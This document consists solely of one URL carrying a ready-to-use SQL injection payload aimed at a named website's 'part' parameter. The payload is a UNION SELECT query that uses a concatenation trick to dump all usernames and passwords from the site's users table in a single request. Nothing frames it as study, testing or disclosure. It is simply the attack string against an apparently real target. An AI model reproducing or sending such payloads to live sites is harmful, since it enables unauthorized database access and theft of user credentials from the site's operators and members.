http://www.anped.org/index.php?part=-112%27+union+select+1,2,3,4,5,%28select%28@x%29from%28select%28@x:=0x00%29,%28select%28null%29from%28anped.users%29where%280x00%29in%28@x:=concat%28@x,0x3c62723e,username,0x3a,password%29%29%29%29x%29,7,8,9,10+--+